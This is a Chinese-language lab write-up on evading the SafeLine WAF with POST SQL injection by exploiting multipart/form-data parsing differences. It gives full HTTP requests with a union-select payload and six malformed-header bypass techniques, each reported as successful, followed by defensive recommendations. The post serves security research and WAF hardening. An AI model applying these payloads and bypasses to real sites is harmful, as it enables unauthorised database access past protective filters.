雷池 WAF POST 型 SQL 注入绕过研究:multipart 差异化解析实战

作者:xiaodan
环境:本地虚拟机靶场(sqli-labs Less-11)+ 雷池 WAF 个人版
声明:本文所有测试均在自建靶场环境中完成,严禁用于未授权目标。


一、环境搭建

1.1 整体拓扑

物理机(Burp Suite)
    │
    ▼
虚拟机A:雷池 WAF(反向代理模式)
    │
    ▼
虚拟机B:宝塔面板 + sqli-labs 靶场

1.2 组件版本

组件版本/说明
靶场sqli-labs Less-11(POST 登录表单)
WAF长亭雷池 WAF 个人版
Web服务宝塔面板 + PHP + MySQL
测试工具Burp Suite
域名本地解析,绑定 hosts

1.3 雷池配置要点

  • 雷池以反向代理模式部署在靶场前
  • 防护规则开启 SQL 注入检测
  • 物理机访问域名流量经过雷池转发至后端靶场

二、基准测试:裸 Payload 被拦截

未做任何绕过,直接发送标准 POST SQL 注入 Payload:

POST /Less-11/ HTTP/1.1
Host: www.danchengjie.com
Content-Type: application/x-www-form-urlencoded

uname=1' union select 1,2#&passwd=a&submit=Submit

结果: 雷池直接返回拦截页面,HTTP 状态码非 200,页面显示「访问已被拦截」。

这说明雷池对标准 application/x-www-form-urlencoded 下的 SQL 注入特征检测有效。


三、核心思路:multipart 差异化解析

3.1 原理说明

HTTP multipart/form-data 协议(RFC 2046)允许在一个请求体中传输多个字段,
每个字段由 boundary 分隔,并通过 Content-Disposition 头声明字段名。

WAF 与后端(PHP)对 multipart 的解析实现存在差异:

  • WAF 需要高速处理海量请求,解析逻辑倾向于快速、宽松
  • PHP 的 multipart 解析遵循自身实现规则,对某些异常结构有特定的容错行为

利用这种 解析差异(Parser Differential),可以构造 WAF 无法正确识别
但后端能正常解析的请求,从而让恶意 Payload 绕过检测。

3.2 基础结构对比

正常 multipart 请求结构:

Content-Type: multipart/form-data;boundary=a

--a
Content-Disposition: form-data; name="uname"

admin
--a--

后续所有绕过方案均基于对这个结构的”畸形化”改造。


四、绕过方案实战

方案一:双 Content-Disposition + filename 欺骗(基础版)

构造方式:

Content-Type: multipart/form-data;boundary=a

--a
Content-Disposition: form-data; name="uname";
Content-Disposition: form-data; name="uname";filename="1.txt"
Context-Type: image/png

uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit
--a
Content-Disposition: form-data; name="passwd";

Dumb
--a
Content-Disposition: form-data; name="submit";

Submit
--a--

绕过逻辑:

同一 part 内出现两行 Content-Disposition

  • 第一行带 filename="1.png" → WAF 误判为文件上传字段,跳过 SQL 注入检测
  • 第二行是标准字段声明 → PHP 按后者解析,正常取值

结果: ✅ 成功绕过,页面返回数据库名。


方案二:filename 参数 Tab 字符插入

构造方式(关键行):

Content-Disposition: form-data; name="uname";filename    ="1.txt"
Content-Disposition: form-data; name="uname"

filename= 之间插入 \t(Tab,0x09)。

绕过逻辑:

WAF 在解析参数名时,遇到 filename\t= 可能无法识别为合法的
filename 属性,导致整个 part 的语义解析出错,进而跳过检测。
PHP 对 Tab 字符更宽容,能正确提取 filename 并按文件字段处理第一行,
以第二行 name="uname" 作为字段名正常赋值。

结果: ✅ 成功绕过。


方案三:filename 参数空格插入

构造方式(关键行):

Content-Disposition: form-data; name="uname";filename ="1.txt"
Content-Disposition: form-data; name="uname"

与方案二类似,在 filename= 之间插入普通空格(0x20)。

绕过逻辑:

部分 WAF 的参数解析器使用严格匹配,filename =(带空格)不匹配
预期的 filename=,导致整个 filename 属性被忽略,field 被误判为
普通文本字段而非文件上传字段,进而放行了包含 Payload 的内容。
PHP 的解析器对此空格具有容错性,仍能识别为文件字段。

结果: ✅ 成功绕过。


方案四:name 值内嵌 \0 空字节截断

构造方式(关键行):

Content-Disposition: form-data; name="uname\0";filename="1.txt"
Content-Disposition: form-data; name="uname"

在第一行 name 的值中,uname 后插入空字节(\0,0x00)。

绕过逻辑:

WAF 在提取字段名时,遇到 \0 可能发生截断或解析错误,
导致无法正确关联字段名与 Payload,检测逻辑失效。
PHP 底层 C 实现中字符串以 \0 结尾,提取 name 时截断为 uname
第二行正常赋值,后端逻辑完全正常执行。

结果: ✅ 成功绕过。


方案五:Content-Disposition 头名称后插入 \0

构造方式(关键行):

Content-Disposition\0:form-data; name="uname";filename="1.txt"
Content-Disposition: form-data; name="uname"

不是在值里加 \0,而是在头部名称的末尾、冒号之前插入 \0

绕过逻辑:

WAF 解析 HTTP 头时,Content-Disposition\0 不匹配标准头名称,
可能将整行视为非法头而忽略,导致 WAF 看不到这一行的 filename 声明,
无法识别文件上传语义,检测逻辑完全跳过这个 part。
PHP 的 multipart 解析器在处理 body 时有独立逻辑,对这个 \0
的处理方式与 WAF 不同,仍能提取到 filename 并按预期解析。

结果: ✅ 成功绕过。


方案六:混合 Content-Type(双类型声明)

构造方式(关键头):

Content-Type: application/x-www-form-urlencoded;multipart/form-data;boundary=a;

将两种 Content-Type 写在同一行,同时在 body 中使用 multipart 结构,
Payload 以 &uname= 前缀写在 part 的 body 区域内。

绕过逻辑:

WAF 遇到非标准的混合 Content-Type 时,可能优先按
application/x-www-form-urlencoded 解析 body,
在 URL 编码格式中找不到完整的 SQL 注入特征(因为内容是 multipart 格式),
检测失效。PHP 实际优先识别 multipart/form-data 并找到 boundary,
按 multipart 规则正常解析出字段和值。

结果: ✅ 成功绕过。


五、绕过手法汇总

编号方案核心变异点绕过原理
1双 Content-Disposition + filenamefilename=”1.png” 欺骗WAF 误判文件上传字段
2filename 参数 Tab 截断filename\t=WAF 参数名解析失败
3filename 参数空格插入filename =WAF 严格匹配失效
4name 值 \0 截断name="uname\0"WAF 字段名提取异常
5头名称后插 \0Content-Disposition\0:WAF 忽略非法头名
6混合 Content-Type双类型声明WAF 解析类型判断错误

六、总结与思考

6.1 核心结论

本次研究验证了一个核心命题:WAF 的安全性建立在其与后端解析行为一致的假设上, 一旦二者出现 Parser Differential,WAF 的检测就会失效。

multipart/form-data 协议本身定义较为宽松,RFC 2046 对很多边界情况
没有明确规定,给了不同实现各自发挥的空间,这正是此类绕过长期存在的根本原因。

6.2 防御建议

对于 WAF 厂商:

  • 对 multipart 解析应与主流后端(PHP/Java/Python)的实际行为严格对齐
  • 对畸形的 Content-Disposition(重复、含特殊字符)应直接拒绝而非忽略
  • 对混合 Content-Type 应采取保守策略,疑似异常请求一律拦截

对于开发者:

  • 后端应对上传字段做严格的类型和内容校验,不依赖 WAF 作为唯一防线
  • 敏感接口建议在应用层做二次输入过滤

6.3 延伸方向

  • HTTP/2 的 multipart 解析差异
  • JSON 嵌套结构的解析差异绕过
  • Chunked Transfer Encoding 分块传输绕过
  • 参考:RFC 2046、OWASP WAF Bypass、先知社区相关议题

本文所有实验均在自建本地靶场完成,域名已做本地 hosts 解析,
不涉及任何真实线上系统。如需复现,请自行搭建合法测试环境。
“`


评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注